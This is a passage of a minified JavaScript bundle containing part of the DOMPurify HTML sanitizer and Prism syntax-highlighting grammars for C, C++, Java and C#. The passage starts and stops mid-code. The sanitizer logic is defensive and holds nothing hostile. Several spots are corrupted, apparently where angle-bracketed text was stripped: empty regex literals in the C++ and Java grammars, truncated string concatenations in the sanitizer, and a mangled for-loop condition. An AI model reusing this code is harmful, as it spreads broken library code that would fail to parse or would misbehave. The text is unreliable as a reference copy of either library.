Ee=y(ne);(!Ee||!Ee.tagName)&&(Ee={namespaceURI:ir,tagName:"template"});const Ue=Qm(ne.tagName),zt=Qm(Ee.tagName);return Ln[ne.namespaceURI]?ne.namespaceURI===Yn?Ee.namespaceURI===Rn?Ue==="svg":Ee.namespaceURI===Qs?Ue==="svg"&&(zt==="annotation-xml"||zo[zt]):!!Ss[Ue]:ne.namespaceURI===Qs?Ee.namespaceURI===Rn?Ue==="math":Ee.namespaceURI===Yn?Ue==="math"&&io[zt]:!!Kt[Ue]:ne.namespaceURI===Rn?Ee.namespaceURI===Yn&&!io[zt]||Ee.namespaceURI===Qs&&!zo[zt]?!1:!Kt[Ue]&&(dl[Ue]||!Ss[Ue]):!!(Jn==="application/xhtml+xml"&&Ln[ne.namespaceURI]):!1},ht=function(ne){Xf(e.removed,{element:ne});try{y(ne).removeChild(ne)}catch{m(ne)}},pn=function(ne,Ee){try{Xf(e.removed,{attribute:Ee.getAttributeNode(ne),from:Ee})}catch{Xf(e.removed,{attribute:null,from:Ee})}if(Ee.removeAttribute(ne),ne==="is")if(Le||He)try{ht(Ee)}catch{}else try{Ee.setAttribute(ne,"")}catch{}},Vo=function(ne){let Ee=null,Ue=null;if(we)ne=""+ne;else{const mt=JI(ne,/^[\r\n\t ]+/);Ue=mt&&mt[0]}Jn==="application/xhtml+xml"&&ir===Rn&&(ne=''+ne+"");const zt=C?A(ne):ne;if(ir===Rn)try{Ee=new u().parseFromString(zt,Jn)}catch{}if(!Ee||!Ee.documentElement){Ee=R.createDocument(ir,"template",null);try{Ee.documentElement.innerHTML=Wo?T:zt}catch{}}const Mt=Ee.body||Ee.documentElement;return ne&&Ue&&Mt.insertBefore(t.createTextNode(Ue),Mt.childNodes[0]||null),ir===Rn?z.call(Ee,ce?"html":"body")[0]:ce?Ee.documentElement:Mt},Ff=function(ne){return P.call(ne.ownerDocument||ne,ne,c.SHOW_ELEMENT|c.SHOW_COMMENT|c.SHOW_TEXT|c.SHOW_PROCESSING_INSTRUCTION|c.SHOW_CDATA_SECTION,null)},fl=function(ne){var Ee,Ue;ne.normalize();const zt=P.call(ne.ownerDocument||ne,ne,c.SHOW_TEXT|c.SHOW_COMMENT|c.SHOW_CDATA_SECTION|c.SHOW_PROCESSING_INSTRUCTION,null);let Mt=zt.nextNode();for(;Mt;){let ws=Mt.data;wh([V,N,O],Pn=>{ws=Yf(ws,Pn," ")}),Mt.data=ws,Mt=zt.nextNode()}const mt=(Ee=(Ue=ne.querySelectorAll)===null||Ue===void 0?void 0:Ue.call(ne,"template"))!==null&&Ee!==void 0?Ee:[];wh(Array.from(mt),ws=>{Tn(ws.content)&&fl(ws.content)})},Di=function(ne){const Ee=S?S(ne):null;return typeof Ee!="string"||fe(Ee)!=="form"?!1:typeof ne.nodeName!="string"||typeof ne.textContent!="string"||typeof ne.removeChild!="function"||ne.attributes!==_(ne)||typeof ne.removeAttribute!="function"||typeof ne.setAttribute!="function"||typeof ne.namespaceURI!="string"||typeof ne.insertBefore!="function"||typeof ne.hasChildNodes!="function"||ne.nodeType!==w(ne)||ne.childNodes!==g(ne)},Tn=function(ne){if(!w||typeof ne!="object"||ne===null)return!1;try{return w(ne)===wa.documentFragment}catch{return!1}},wr=function(ne){if(!w||typeof ne!="object"||ne===null)return!1;try{return typeof w(ne)=="number"}catch{return!1}};function kr(Je,ne,Ee){wh(Je,Ue=>{Ue.call(e,ne,Ee,me)})}const Ni=function(ne){let Ee=null;if(kr(W.beforeSanitizeElements,ne,null),Di(ne))return ht(ne),!0;const Ue=fe(S?S(ne):ne.nodeName);if(kr(W.uponSanitizeElement,ne,{tagName:Ue,allowedTags:oe}),se&&ne.hasChildNodes()&&!wr(ne.firstElementChild)&&si(/<[/\w!]/g,ne.innerHTML)&&si(/<[/\w!]/g,ne.textContent)||se&&ne.namespaceURI===Rn&&Ue==="style"&&wr(ne.firstElementChild)||ne.nodeType===wa.progressingInstruction||se&&ne.nodeType===wa.comment&&si(/<[/\w]/g,ne.data))return ht(ne),!0;if(he[Ue]||!(Re.tagCheck instanceof Function&&Re.tagCheck(Ue))&&!oe[Ue]){if(!he[Ue]&&ya(Ue)&&(J.tagNameCheck instanceof RegExp&&si(J.tagNameCheck,Ue)||J.tagNameCheck instanceof Function&&J.tagNameCheck(Ue)))return!1;if(Jt&&!ut[Ue]){const Mt=y(ne),mt=g(ne);if(mt&&Mt){const ws=mt.length;for(let Pn=ws-1;Pn>=0;--Pn){const On=p(mt[Pn],!0);Mt.insertBefore(On,v(ne))}}}return ht(ne),!0}return(w?w(ne):ne.nodeType)===wa.element&&!Es(ne)||(Ue==="noscript"||Ue==="noembed"||Ue==="noframes")&&si(/<\/no(script|embed|frames)/i,ne.innerHTML)?(ht(ne),!0):(xe&&ne.nodeType===wa.text&&(Ee=ne.textContent,wh([V,N,O],Mt=>{Ee=Yf(Ee,Mt," ")}),ne.textContent!==Ee&&(Xf(e.removed,{element:ne.cloneNode()}),ne.textContent=Ee)),kr(W.afterSanitizeElements,ne,null),!1)},pl=function(ne,Ee,Ue){if(be[Ee]||At&&(Ee==="id"||Ee==="name")&&(Ue in t||Ue in Ce))return!1;const zt=K[Ee]||Re.attributeCheck instanceof Function&&Re.attributeCheck(Ee,ne);if(!(st&&!be[Ee]&&si(H,Ee))){if(!(rt&&si(G,Ee))){if(!zt||be[Ee]){if(!(ya(ne)&&(J.tagNameCheck instanceof RegExp&&si(J.tagNameCheck,ne)||J.tagNameCheck instanceof Function&&J.tagNameCheck(ne))&&(J.attributeNameCheck instanceof RegExp&&si(J.attributeNameCheck,Ee)||J.attributeNameCheck instanceof Function&&J.attributeNameCheck(Ee,ne))||Ee==="is"&&J.allowCustomizedBuiltInElements&&(J.tagNameCheck instanceof RegExp&&si(J.tagNameCheck,Ue)||J.tagNameCheck instanceof Function&&J.tagNameCheck(Ue))))return!1}else if(!Uo[Ee]){if(!si(le,Yf(Ue,ie,""))){if(!((Ee==="src"||Ee==="xlink:href"||Ee==="href")&&ne!=="script"&&ZI(Ue,"data:")===0&&hl[ne])){if(!(et&&!si(ee,Yf(Ue,ie,"")))){if(Ue)return!1}}}}}}return!0},$f=Pt({},["annotation-xml","color-profile","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","missing-glyph"]),ya=function(ne){return!$f[Qm(ne)]&&si(ve,ne)},gl=function(ne){kr(W.beforeSanitizeAttributes,ne,null);const Ee=ne.attributes;if(!Ee||Di(ne))return;const Ue={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:K,forceKeepAttr:void 0};let zt=Ee.length;for(;zt--;){const Mt=Ee[zt],mt=Mt.name,ws=Mt.namespaceURI,Pn=Mt.value,On=fe(mt),Go=Pn;let Ms=mt==="value"?Go:$Z(Go);if(Ue.attrName=On,Ue.attrValue=Ms,Ue.keepAttr=!0,Ue.forceKeepAttr=void 0,kr(W.uponSanitizeAttribute,ne,Ue),Ms=Ue.attrValue,Nt&&(On==="id"||On==="name")&&ZI(Ms,It)!==0&&(pn(mt,ne),Ms=It+Ms),se&&si(/((--!?|])>)|<\/(style|script|title|xmp|textarea|noscript|iframe|noembed|noframes)/i,Ms)){pn(mt,ne);continue}if(On==="attributename"&&JI(Ms,"href")){pn(mt,ne);continue}if(Ue.forceKeepAttr)continue;if(!Ue.keepAttr){pn(mt,ne);continue}if(!De&&si(/\/>/i,Ms)){pn(mt,ne);continue}xe&&wh([V,N,O],Dn=>{Ms=Yf(Ms,Dn," ")});const ts=fe(ne.nodeName);if(!pl(ts,On,Ms)){pn(mt,ne);continue}if(C&&typeof h=="object"&&typeof h.getAttributeType=="function"&&!ws)switch(h.getAttributeType(ts,On)){case"TrustedHTML":{Ms=A(Ms);break}case"TrustedScriptURL":{Ms=C.createScriptURL(Ms);break}}if(Ms!==Go)try{ws?ne.setAttributeNS(ws,mt,Ms):ne.setAttribute(mt,Ms),Di(ne)?ht(ne):YI(e.removed)}catch{pn(mt,ne)}}kr(W.afterSanitizeAttributes,ne,null)},Rc=function(ne){let Ee=null;const Ue=Ff(ne);for(kr(W.beforeSanitizeShadowDOM,ne,null);Ee=Ue.nextNode();)if(kr(W.uponSanitizeShadowNode,Ee,null),Ni(Ee),gl(Ee),Tn(Ee.content)&&Rc(Ee.content),(w?w(Ee):Ee.nodeType)===wa.element){const Mt=b?b(Ee):Ee.shadowRoot;Tn(Mt)&&(ba(Mt),Rc(Mt))}kr(W.afterSanitizeShadowDOM,ne,null)},ba=function(ne){const Ee=w?w(ne):ne.nodeType;if(Ee===wa.element){const Mt=b?b(ne):ne.shadowRoot;Tn(Mt)&&(ba(Mt),Rc(Mt))}const Ue=g?g(ne):ne.childNodes;if(!Ue)return;const zt=[];wh(Ue,Mt=>{Xf(zt,Mt)});for(const Mt of zt)ba(Mt);if(Ee===wa.element){const Mt=S?S(ne):null;if(typeof Mt=="string"&&fe(Mt)==="template"){const mt=ne.content;Tn(mt)&&ba(mt)}}};return e.sanitize=function(Je){let ne=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},Ee=null,Ue=null,zt=null,Mt=null;if(Wo=!Je,Wo&&(Je=""),typeof Je!="string"&&!wr(Je)&&(Je=jZ(Je),typeof Je!="string"))throw Jf("dirty is not a string, aborting");if(!e.isSupported)return Je;if(de||qt(ne),e.removed=[],typeof Je=="string"&&($t=!1),$t){const Pn=S?S(Je):Je.nodeName;if(typeof Pn=="string"){const On=fe(Pn);if(!oe[On]||he[On])throw Jf("root node is forbidden and cannot be sanitized in-place")}if(Di(Je))throw Jf("root node is clobbered and cannot be sanitized in-place");ba(Je)}else if(wr(Je))Ee=Vo(""),Ue=Ee.ownerDocument.importNode(Je,!0),Ue.nodeType===wa.element&&Ue.nodeName==="BODY"||Ue.nodeName==="HTML"?Ee=Ue:Ee.appendChild(Ue),ba(Ue);else{if(!Le&&!xe&&!ce&&Je.indexOf("<")===-1)return C&&yt?A(Je):Je;if(Ee=Vo(Je),!Ee)return Le?null:yt?T:""}Ee&&we&&ht(Ee.firstChild);const mt=Ff($t?Je:Ee);for(;zt=mt.nextNode();)Ni(zt),gl(zt),Tn(zt.content)&&Rc(zt.content);if($t)return xe&&fl(Je),Je;if(Le){if(xe&&fl(Ee),He)for(Mt=L.call(Ee.ownerDocument);Ee.firstChild;)Mt.appendChild(Ee.firstChild);else Mt=Ee;return(K.shadowroot||K.shadowrootmode)&&(Mt=Q.call(n,Mt,!0)),Mt}let ws=ce?Ee.outerHTML:Ee.innerHTML;return ce&&oe["!doctype"]&&Ee.ownerDocument&&Ee.ownerDocument.doctype&&Ee.ownerDocument.doctype.name&&si(tee,Ee.ownerDocument.doctype.name)&&(ws=" +`+ws),xe&&wh([V,N,O],Pn=>{ws=Yf(ws,Pn," ")}),C&&yt?A(ws):ws},e.setConfig=function(){let Je=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};qt(Je),de=!0},e.clearConfig=function(){me=null,de=!1},e.isValidAttribute=function(Je,ne,Ee){me||qt({});const Ue=fe(Je),zt=fe(ne);return pl(Ue,zt,Ee)},e.addHook=function(Je,ne){typeof ne=="function"&&Xf(W[Je],ne)},e.removeHook=function(Je,ne){if(ne!==void 0){const Ee=BZ(W[Je],ne);return Ee===-1?void 0:FZ(W[Je],Ee,1)[0]}return YI(W[Je])},e.removeHooks=function(Je){W[Je]=[]},e.removeAllHooks=function(){W=aR()},e}var ree=TD();(function(s){function e(t,n){return"___"+t.toUpperCase()+n+"___"}Object.defineProperties(s.languages["markup-templating"]={},{buildPlaceholders:{value:function(t,n,i,r){if(t.language===n){var o=t.tokenStack=[];t.code=t.code.replace(i,function(a){if(typeof r=="function"&&!r(a))return a;for(var c=o.length,l;t.code.indexOf(l=e(n,c))!==-1;)++c;return o[c]=a,l}),t.grammar=s.languages.markup}}},tokenizePlaceholders:{value:function(t,n){if(t.language!==n||!t.tokenStack)return;t.grammar=s.languages[n];var i=0,r=Object.keys(t.tokenStack);function o(a){for(var c=0;c=r.length);c++){var l=a[c];if(typeof l=="string"||l.content&&typeof l.content=="string"){var u=r[i],h=t.tokenStack[u],d=typeof l=="string"?l:l.content,p=e(n,u),m=d.indexOf(p);if(m>-1){++i;var v=d.substring(0,m),g=new s.Token(n,s.tokenize(h,t.grammar),"language-"+n,h),y=d.substring(m+p.length),b=[];v&&b.push.apply(b,o([v])),b.push(g),y&&b.push.apply(b,o([y])),typeof l=="string"?a.splice.apply(a,[c,1].concat(b)):l.content=b}}else l.content&&o(l.content)}return a}o(t.tokens)}}})})(Prism);Prism.languages.c=Prism.languages.extend("clike",{comment:{pattern:/\/\/(?:[^\r\n\\]|\\(?:\r\n?|\n|(?![\r\n])))*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},string:{pattern:/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"/,greedy:!0},"class-name":{pattern:/(\b(?:enum|struct)\s+(?:__attribute__\s*\(\([\s\S]*?\)\)\s*)?)\w+|\b[a-z]\w*_t\b/,lookbehind:!0},keyword:/\b(?:_Alignas|_Alignof|_Atomic|_Bool|_Complex|_Generic|_Imaginary|_Noreturn|_Static_assert|_Thread_local|__attribute__|asm|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|inline|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|typeof|union|unsigned|void|volatile|while)\b/,function:/\b[a-z_]\w*(?=\s*\()/i,number:/(?:\b0x(?:[\da-f]+(?:\.[\da-f]*)?|\.[\da-f]+)(?:p[+-]?\d+)?|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?)[ful]{0,4}/i,operator:/>>=?|<<=?|->|([-+&|:])\1|[?:~]|[-+*/%&|^!=<>]=?/});Prism.languages.insertBefore("c","string",{char:{pattern:/'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n]){0,32}'/,greedy:!0}});Prism.languages.insertBefore("c","string",{macro:{pattern:/(^[\t ]*)#\s*[a-z](?:[^\r\n\\/]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|\\(?:\r\n|[\s\S]))*/im,lookbehind:!0,greedy:!0,alias:"property",inside:{string:[{pattern:/^(#\s*include\s*)<[^>]+>/,lookbehind:!0},Prism.languages.c.string],char:Prism.languages.c.char,comment:Prism.languages.c.comment,"macro-name":[{pattern:/(^#\s*define\s+)\w+\b(?!\()/i,lookbehind:!0},{pattern:/(^#\s*define\s+)\w+\b(?=\()/i,lookbehind:!0,alias:"function"}],directive:{pattern:/^(#\s*)[a-z]+/,lookbehind:!0,alias:"keyword"},"directive-hash":/^#/,punctuation:/##|\\(?=[\r\n])/,expression:{pattern:/\S[\s\S]*/,inside:Prism.languages.c}}}});Prism.languages.insertBefore("c","function",{constant:/\b(?:EOF|NULL|SEEK_CUR|SEEK_END|SEEK_SET|__DATE__|__FILE__|__LINE__|__TIMESTAMP__|__TIME__|__func__|stderr|stdin|stdout)\b/});delete Prism.languages.c.boolean;(function(s){var e=/\b(?:alignas|alignof|asm|auto|bool|break|case|catch|char|char16_t|char32_t|char8_t|class|co_await|co_return|co_yield|compl|concept|const|const_cast|consteval|constexpr|constinit|continue|decltype|default|delete|do|double|dynamic_cast|else|enum|explicit|export|extern|final|float|for|friend|goto|if|import|inline|int|int16_t|int32_t|int64_t|int8_t|long|module|mutable|namespace|new|noexcept|nullptr|operator|override|private|protected|public|register|reinterpret_cast|requires|return|short|signed|sizeof|static|static_assert|static_cast|struct|switch|template|this|thread_local|throw|try|typedef|typeid|typename|uint16_t|uint32_t|uint64_t|uint8_t|union|unsigned|using|virtual|void|volatile|wchar_t|while)\b/,t=/\b(?!)\w+(?:\s*\.\s*\w+)*\b/.source.replace(//g,function(){return e.source});s.languages.cpp=s.languages.extend("c",{"class-name":[{pattern:RegExp(/(\b(?:class|concept|enum|struct|typename)\s+)(?!)\w+/.source.replace(//g,function(){return e.source})),lookbehind:!0},/\b[A-Z]\w*(?=\s*::\s*\w+\s*\()/,/\b[A-Z_]\w*(?=\s*::\s*~\w+\s*\()/i,/\b\w+(?=\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>\s*::\s*\w+\s*\()/],keyword:e,number:{pattern:/(?:\b0b[01']+|\b0x(?:[\da-f']+(?:\.[\da-f']*)?|\.[\da-f']+)(?:p[+-]?[\d']+)?|(?:\b[\d']+(?:\.[\d']*)?|\B\.[\d']+)(?:e[+-]?[\d']+)?)[ful]{0,4}/i,greedy:!0},operator:/>>=?|<<=?|->|--|\+\+|&&|\|\||[?:~]|<=>|[-+*/%&|^!=<>]=?|\b(?:and|and_eq|bitand|bitor|not|not_eq|or|or_eq|xor|xor_eq)\b/,boolean:/\b(?:false|true)\b/}),s.languages.insertBefore("cpp","string",{module:{pattern:RegExp(/(\b(?:import|module)\s+)/.source+"(?:"+/"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|<[^<>\r\n]*>/.source+"|"+/(?:\s*:\s*)?|:\s*/.source.replace(//g,function(){return t})+")"),lookbehind:!0,greedy:!0,inside:{string:/^[<"][\s\S]+/,operator:/:/,punctuation:/\./}},"raw-string":{pattern:/R"([^()\\ ]{0,16})\([\s\S]*?\)\1"/,alias:"string",greedy:!0}}),s.languages.insertBefore("cpp","keyword",{"generic-function":{pattern:/\b(?!operator\b)[a-z_]\w*\s*<(?:[^<>]|<[^<>]*>)*>(?=\s*\()/i,inside:{function:/^\w+/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:s.languages.cpp}}}}),s.languages.insertBefore("cpp","operator",{"double-colon":{pattern:/::/,alias:"punctuation"}}),s.languages.insertBefore("cpp","class-name",{"base-clause":{pattern:/(\b(?:class|struct)\s+\w+\s*:\s*)[^;{}"'\s]+(?:\s+[^;{}"'\s]+)*(?=\s*[;{])/,lookbehind:!0,greedy:!0,inside:s.languages.extend("cpp",{})}}),s.languages.insertBefore("inside","double-colon",{"class-name":/\b[a-z_]\w*\b(?!\s*::)/i},s.languages.cpp["base-clause"])})(Prism);(function(s){var e=/\b(?:abstract|assert|boolean|break|byte|case|catch|char|class|const|continue|default|do|double|else|enum|exports|extends|final|finally|float|for|goto|if|implements|import|instanceof|int|interface|long|module|native|new|non-sealed|null|open|opens|package|permits|private|protected|provides|public|record(?!\s*[(){}[\]<>=%~.:,;?+\-*/&|^])|requires|return|sealed|short|static|strictfp|super|switch|synchronized|this|throw|throws|to|transient|transitive|try|uses|var|void|volatile|while|with|yield)\b/,t=/(?:[a-z]\w*\s*\.\s*)*(?:[A-Z]\w*\s*\.\s*)*/.source,n={pattern:RegExp(/(^|[^\w.])/.source+t+/[A-Z](?:[\d_A-Z]*[a-z]\w*)?\b/.source),lookbehind:!0,inside:{namespace:{pattern:/^[a-z]\w*(?:\s*\.\s*[a-z]\w*)*(?:\s*\.)?/,inside:{punctuation:/\./}},punctuation:/\./}};s.languages.java=s.languages.extend("clike",{string:{pattern:/(^|[^\\])"(?:\\.|[^"\\\r\n])*"/,lookbehind:!0,greedy:!0},"class-name":[n,{pattern:RegExp(/(^|[^\w.])/.source+t+/[A-Z]\w*(?=\s+\w+\s*[;,=()]|\s*(?:\[[\s,]*\]\s*)?::\s*new\b)/.source),lookbehind:!0,inside:n.inside},{pattern:RegExp(/(\b(?:class|enum|extends|implements|instanceof|interface|new|record|throws)\s+)/.source+t+/[A-Z]\w*\b/.source),lookbehind:!0,inside:n.inside}],keyword:e,function:[s.languages.clike.function,{pattern:/(::\s*)[a-z_]\w*/,lookbehind:!0}],number:/\b0b[01][01_]*L?\b|\b0x(?:\.[\da-f_p+-]+|[\da-f_]+(?:\.[\da-f_p+-]+)?)\b|(?:\b\d[\d_]*(?:\.[\d_]*)?|\B\.\d[\d_]*)(?:e[+-]?\d[\d_]*)?[dfl]?/i,operator:{pattern:/(^|[^.])(?:<<=?|>>>?=?|->|--|\+\+|&&|\|\||::|[?:~]|[-+*/%&|^!=<>]=?)/m,lookbehind:!0},constant:/\b[A-Z][A-Z_\d]+\b/}),s.languages.insertBefore("java","string",{"triple-quoted-string":{pattern:/"""[ \t]*[\r\n](?:(?:"|"")?(?:\\.|[^"\\]))*"""/,greedy:!0,alias:"string"},char:{pattern:/'(?:\\.|[^'\\\r\n]){1,6}'/,greedy:!0}}),s.languages.insertBefore("java","class-name",{annotation:{pattern:/(^|[^.])@\w+(?:\s*\.\s*\w+)*/,lookbehind:!0,alias:"punctuation"},generics:{pattern:/<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&)|<(?:[\w\s,.?]|&(?!&))*>)*>)*>)*>/,inside:{"class-name":n,keyword:e,punctuation:/[<>(),.:]/,operator:/[?&|]/}},import:[{pattern:RegExp(/(\bimport\s+)/.source+t+/(?:[A-Z]\w*|\*)(?=\s*;)/.source),lookbehind:!0,inside:{namespace:n.inside.namespace,punctuation:/\./,operator:/\*/,"class-name":/\w+/}},{pattern:RegExp(/(\bimport\s+static\s+)/.source+t+/(?:\w+|\*)(?=\s*;)/.source),lookbehind:!0,alias:"static",inside:{namespace:n.inside.namespace,static:/\b\w+$/,punctuation:/\./,operator:/\*/,"class-name":/\w+/}}],namespace:{pattern:RegExp(/(\b(?:exports|import(?:\s+static)?|module|open|opens|package|provides|requires|to|transitive|uses|with)\s+)(?!)[a-z]\w*(?:\.[a-z]\w*)*\.?/.source.replace(//g,function(){return e.source})),lookbehind:!0,inside:{punctuation:/\./}}})})(Prism);(function(s){function e(O,H){return O.replace(/<<(\d+)>>/g,function(G,ee){return"(?:"+H[+ee]+")"})}function t(O,H,G){return RegExp(e(O,H),"")}function n(O,H){for(var G=0;G>/g,function(){return"(?:"+O+")"});return O.replace(/<>/g,"[^\\s\\S]")}var i={type:"bool byte char decimal double dynamic float int long object sbyte short string uint ulong ushort var void",typeDeclaration:"class enum interface record struct",contextual:"add alias and ascending async await by descending from(?=\\s*(?:\\w|$)) get global group into init(?=\\s*;) join let nameof not notnull on or orderby partial remove select set unmanaged value when where with(?=\\s*{)",other:"abstract as base break case catch checked const continue default delegate do else event explicit extern finally fixed for foreach goto if implicit in internal is lock namespace new null operator out override params private protected public readonly ref return sealed sizeof stackalloc static switch this throw try typeof unchecked unsafe using virtual volatile while yield"};function r(O){return"\\b(?:"+O.trim().replace(/ /g,"|")+")\\b"}var o=r(i.typeDeclaration),a=RegExp(r(i.type+" "+i.typeDeclaration+" "+i.contextual+" "+i.other)),c=r(i.typeDeclaration+" "+i.contextual+" "+i.other),l=r(i.type+" "+i.typeDeclaration+" "+i.other),u=n(/<(?:[^<>;=+\-*/%&|^]|<>)*>/.source,2),h=n(/\((?:[^()]|<>)*\)/.source,2),d=/@?\b[A-Za-z_]\w*\b/.source,p=e(/<<0>>(?:\s*<<1>>)?/.source,[d,u]),m=e(/(?!<<0>>)<<1>>(?:\s*\.\s*<<1>>)*/.source,[c,p]),v=/\[\s*(?:,\s*)*\]/.source,g=e(/<<0>>(?:\s*(?:\?\s*)?<<1>>)*(?:\s*\?)?/.source,[m,v]),y=e(/[^,()<>[\];=+\-*/%&|^]|<<0>>|<<1>>|<<2>>/.source,[u,h,v]),b=e(/\(<<0>>+(?:,<<0>>+)+\)/.source,[y]),_=e(/(?:<<0>>|<<1>>)(?:\s*(?:\?\s*)?<<2>>)*(?:\s*\?)?/.source,[b,m,v]),w={keyword:a,punctuation:/[<>()?,.:[\]]/},S=/'(?:[^\r\n'\\]|\\.|\\[Uux][\da-fA-F]{1,8})'/.source,C=/"(?:\\.|[^\\"\r\n])*"/.source,T=/@"(?:""|\\[\s\S]|[^\\"])*"(?!")/.source;s.languages.csharp=s.languages.extend("clike",{string:[{pattern:t(/(^|[^$\\])<<0>>/.source,[T]),lookbehind:!0,greedy:!0},{pattern:t(/(^|[^@$\\])<<0>>/.source,[C]),lookbehind:!0,greedy:!0}],"class-name":[{pattern:t(/(\busing\s+static\s+)<<0>>(?=\s*;)/.source,[m]),lookbehind:!0,inside:w},{pattern:t(/(\busing\s+<<0>>\s*=\s*)<<1>>(?=\s*;)/.source,[d,_]),lookbehind:!0,inside:w},{pattern:t(/(\busing\s+)<<0>>(?=\s*=)/.source,[d]),lookbehind:!0},{pattern:t(/(\b<<0>>\s+)<<1>>/.source,[o,p]),lookbehind:!0,inside:w},{pattern:t(/(\bcatch\s*\(\s*)<<0>>/.source,[m]),lookbehind:!0,inside:w},{pattern:t(/(\bwhere\s+)<<0>>/.source,[d]),lookbehind:!0},{pattern:t(/(\b(?:is(?:\s+not)?|as)\s+)<<0>>/.source,[g]),lookbehind:!0,inside:w},{pattern:t(/\b<<0>>(?=\s+(?!<<1>>|with\s*\{)<<2>>(?:\s*[=,;:{)\]]|\s+(?:in|when)\b))/.source,[_,l,d]),inside:w}],keyword:a,number:/(?:\b0(?:x[\da-f_]*[\da-f]|b[01_]*[01])|(?:\B\.\d+(?:_+\d+)*|\b\d+(?:_+\d+)*(?:\.\d+(?:_+\d+)*)?)(?:e[-+]?\d+(?:_+\d+)*)?)(?:[dflmu]|lu|ul)?\b/i,operator:/>>=?|<<=?|[-=]>|([-+&|])\1|~|\?\?=?|[-+*/%&|^!=<>]=?/,punctuation:/\?\.?|::|[{}[\];(),.:]/}),s.languages.insertBefore("csharp","number",{range:{pattern:/\.\./,alias:"operator"}}),s.languages.insertBefore("csharp","punctuation",{"named-parameter":{pattern:t(/([(,]\s*)<<0>>(?=\s*:)/.source,[d]),lookbehind:!0,alias:"punctuation"}}),s.languages.insertBefore("csharp","class-name",{namespace:{pattern:t(/(\b(?:namespace|using)\s+)<<0>>(?:\s*\.\s*<<0>>)*(?=\s*[;{])/.source,[d]),lookbehind:!0,inside:{punctuation:/\./}},"type-expression":{pattern:t(/(\b(?:default|sizeof|typeof)\s*\(\s*(?!\s))(?:[^()\s]|\s(?!\s)|<<0>>)*(?=\s*\))/.source,[h]),lookbehind:!0,alias:"class-name",inside:w},"return-type":{pattern:t(/<<0>>(?=\s+(?:<<1>>\s*(?:=>|[({]|\.\s*this\s*\[)|this\s*\[))/.source,[_,m]),inside:w,alias:"class-name"},"constructor-invocation":{pattern:t(/(\bnew\s+)<<0>>(?=\s*[[({])/.source,[_]),lookbehind:!0,inside:w,alias:"class-name"},"generic-method":{pattern:t(/<<0>>\s*<<1>>(?=\s*\()/.source,[d,u]),inside:{function:t(/^<<0>>/.source,[d]),generic:{pattern:RegExp(u),alias:"class-name",inside:w}}},"type-list":{pattern:t(/\b((?:<<0>>\s+<<1>>|record\s+<<1>>\s*<<5>>|where\s+<<2>>)\s*:\s*)(?:<<3>>|<<4>>|<<1>>\s*<<5>>|<<6>>)(?:\s*,\s*(?:<<3>>|<<4>>|<<6>>))*(?=\s*(?:where|[{;]|=>|$))/.source,[o,p,d,_,a.source,h,/\bnew\s*\(\s*\)/.source]),lookbehind:!0,inside:{"record-arguments":{pattern:t(/(^(?!new\s*\()<<0>>\s*)<<1>>/.source,[p,h]),lookbehind:!0,greedy:!0,inside:s.languages.csharp},keyword:a,"class-name":{pattern:RegExp(_),greedy:!0,inside:w},punctuation:/[,()]/}},preprocessor:{pattern:/(^[\t ]*)#.*/m,lookbehind:!0,alias:"property",inside:{directive:{pattern:/(#)\b(?:define|elif|else|endif|endregion|error|if|line|nullable|pragma|region|undef|warning)\b/,lookbehind:!0,alias:"keyword"}}}});var k=C+"|"+S,A=e(/\/(?![*/])|\/\/[^\r\n]*[\r\n]|\/\*(?:[^*]|\*(?!\/))*\*\/|<<0>>/.source,[k]),M=n(e(/[^"'/()]|<<0>>|\(<>*\)/.source,[A]),2),R=/\b(?:assembly|event|field|method|module|param|property|return|type)\b/.source,P=e(/<<0>>(?:\s*\(<<1>>*\))?/.source,[m,M]);s.languages.insertBefore("csharp","class-name",{attribute:{pattern:t(/((?:^|[^\s\w>)?])\s*\[\s*)(?:<<0>>\s*:\s*)?<<1>>(?:\s*,\s*<<1>>)*(?=\s*\])/.source,[R,P]),lookbehind:!0,greedy:!0,inside:{target:{pattern:t(/^<<0>>(?=\s*:)/.source,[R]),alias:"keyword"},"attribute-arguments":{pattern:t(/\(<<0>>*\)/.source,[M]),inside:s.languages.csharp},"class-name":{pattern:RegExp(m),inside:{punctuation:/\./}},punctuation:/[:,]/}}});var L=/:[^}\r\n]+/.source,z=n(e(/[^"'/()]|<<0>>|\(<>*\)/.source,[A]),2),Q=e(/\{(?!\{)(?:(?![}:])<<0>>)*<<1>>?\}/.source,[z,L]),W=n(e(/[^"'/()]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|<<0>>|\(<>*\)/.source,[k]),2),V=e(/\{(?!\{)(?:(?![}:])<<0>>)*<<1>>?\}/.source,[W,L]);function N(O,H){return{interpolation:{pattern:t(/((?:^|[^{])(?:\{\{)*)<<0>>/.source,[O]),lookbehind:!0,inside:{"format-string":{pattern:t(/(^\{(?:(?![}:])<<0>>)*)<<1>>(?=\}$)/.source,[H,L]),lookbehind:!0,inside:{punctuation:/^:/}},punctuation:/^\{|\}$/,expression:{pattern:/[\s\S]+/,alias:"language-csharp",inside:s.languages.csharp}}},string:/[\s\S]+/}}s.languages.insertBefore("csharp","string",{"interpolation-string":[{pattern:t(/(^|[^\\])(?:\$@|@\$)"(?:""|\\[\s\S]|\{\{|<<0>>|[^\\{"])*"/.source,[Q]),lookbehind:!0,greedy:!0,inside:N(Q,z)},{pattern:t(/(^|[^@\\])\$"(?:\\.|\{\{|<<0>>|[^\\"{])*"/.source,[V]),lookbehind:!0,greedy:!0,inside:N(V,W)}],char:{pattern:RegExp(S),greedy:!0}}),s.languages.dotnet=s.languages.cs=s.languages.csharp})(Prism);(function(s){s.languages.kotlin=s.languages.extend("clike",{keyword:{pattern:/(^|[^.])\b(?:abstract|actual|annotation|as|break|by